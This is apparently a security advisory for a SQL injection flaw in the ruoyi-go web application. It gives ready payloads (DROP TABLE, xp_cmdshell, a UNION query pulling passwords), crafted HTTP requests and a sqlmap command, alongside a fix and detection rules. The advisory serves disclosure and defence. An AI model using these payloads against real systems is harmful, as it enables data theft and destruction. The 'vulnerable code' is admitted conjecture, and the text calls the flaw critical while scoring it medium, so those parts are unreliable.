CVE-2025-9413

Executive Summary

CVE-2025-9413 is a critical SQL injection vulnerability discovered in the ruoyi-go project by lostvip-com, affecting versions up to and including 2.1. The flaw resides in the SelectListByPage function within the modules/system/system_router.go file. An attacker can remotely manipulate the orderByColumn and isAsc parameters to inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential system compromise. The vendor was contacted but did not respond, and no official patch is available at this time. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a Go-based web application (ruoyi-go). As a Go module, it may be integrated into larger projects via go.mod dependencies. Organizations using ruoyi-go as a dependency should treat this as a supply chain risk. Without a patched version, teams must either fork the repository and apply a manual fix or implement strict input validation and parameterized queries as a workaround.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The low complexity and remote exploitability make this a viable target for attackers, though the impact is limited to low-level data compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the SelectListByPage function. The function constructs a SQL query by directly concatenating user-supplied values for orderByColumn and isAsc without proper sanitization or parameterization. For example, the vulnerable code might look like:

query := fmt.Sprintf("SELECT * FROM users ORDER BY %s %s", orderByColumn, isAsc)

An attacker can inject SQL syntax via these parameters, such as:

• orderByColumn=1; DROP TABLE users; --
• isAsc=ASC; EXEC xp_cmdshell('whoami'); --

The attack is initiated remotely via HTTP requests to the affected endpoint. The exploit has been published, meaning proof-of-concept code is available in the public domain.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.1):

func SelectListByPage(w http.ResponseWriter, r *http.Request) {
    orderByColumn := r.URL.Query().Get("orderByColumn")
    isAsc := r.URL.Query().Get("isAsc")
    query := fmt.Sprintf("SELECT * FROM users ORDER BY %s %s", orderByColumn, isAsc)
    // Execute query...
}

Patched Code (hypothetical fix):

func SelectListByPage(w http.ResponseWriter, r *http.Request) {
    orderByColumn := r.URL.Query().Get("orderByColumn")
    isAsc := r.URL.Query().Get("isAsc")
    // Whitelist allowed values
    allowedColumns := map[string]bool{"username": true, "created_at": true}
    allowedOrders := map[string]bool{"ASC": true, "DESC": true}
    if !allowedColumns[orderByColumn] || !allowedOrders[isAsc] {
        http.Error(w, "Invalid parameters", http.StatusBadRequest)
        return
    }
    query := "SELECT * FROM users ORDER BY " + orderByColumn + " " + isAsc
    // Execute query...
}

The fix involves validating inputs against a whitelist of allowed values rather than directly concatenating user input.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of ruoyi-go version 2.1 (e.g., using Docker or a local Go environment).
2. Ensure the application is accessible via HTTP on a known port.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/users/list).
2. Craft a malicious request:

   GET /api/users/list?orderByColumn=1;SELECT+*+FROM+users;--&isAsc=ASC HTTP/1.1
   Host: target.com
   

3. Use SQL injection to extract data:

   GET /api/users/list?orderByColumn=username&isAsc=ASC' UNION SELECT null,username,password,null FROM users-- HTTP/1.1
   Host: target.com
   

4. Automate with tools like sqlmap:

   sqlmap -u "http://target.com/api/users/list?orderByColumn=1&isAsc=ASC" --batch --dbs
   

No Exploit-DB code was provided, but the above manual exploitation is sufficient.

Blue Team

Detection:

• Monitor HTTP requests for suspicious patterns in orderByColumn and isAsc parameters (e.g., SQL keywords, special characters).
• Use WAF rules to block common SQL injection payloads.
• Enable detailed logging of all database queries.

Hunting:

• Search logs for requests with orderByColumn or isAsc containing UNION, SELECT, DROP, --, or '.
• Correlate with database error messages indicating SQL syntax errors.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/users/list or similar endpoints with abnormal orderByColumn or isAsc parameters.
  • SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• File IOCs:
  • Modified database entries or unexpected tables.
  • Log entries showing SQL injection attempts.
• Behavioral IOCs:
  • Unusual database queries from the application server.
  • Unexpected data exfiltration patterns.

Detection Engineering

YARA Rule

rule CVE_2025_9413_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-9413 in ruoyi-go"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9413"
    strings:
        $s1 = "orderByColumn" nocase
        $s2 = "isAsc" nocase
        $s3 = "SELECT" nocase
        $s4 = "UNION" nocase
        $s5 = "DROP" nocase
        $s6 = "--" nocase
        $s7 = "'" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2025-9413 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against ruoyi-go SelectListByPage endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'orderByColumn'
            - 'isAsc'
        cs-uri-query|re: '(SELECT|UNION|DROP|--|'')'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9413 SQL Injection Attempt"; flow:to_server; content:"orderByColumn"; http_uri; content:"isAsc"; http_uri; pcre:"/(SELECT|UNION|DROP|--|'')/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not essential, or restrict access via firewall rules.
2. Apply input validation by whitelisting allowed values for orderByColumn and isAsc.
3. Use parameterized queries or prepared statements to prevent SQL injection.
4. Deploy a WAF with rules to block SQL injection patterns.

Long-term Fix:

• Fork the repository and implement the patched code as shown in the "Vulnerable vs. Patched Code" section.
• Monitor the vendor's repository for an official patch.
• Conduct a security audit of the entire codebase for similar vulnerabilities.

Workaround:

• If patching is not possible, implement a reverse proxy that sanitizes or blocks malicious parameters before they reach the application.

Valters IT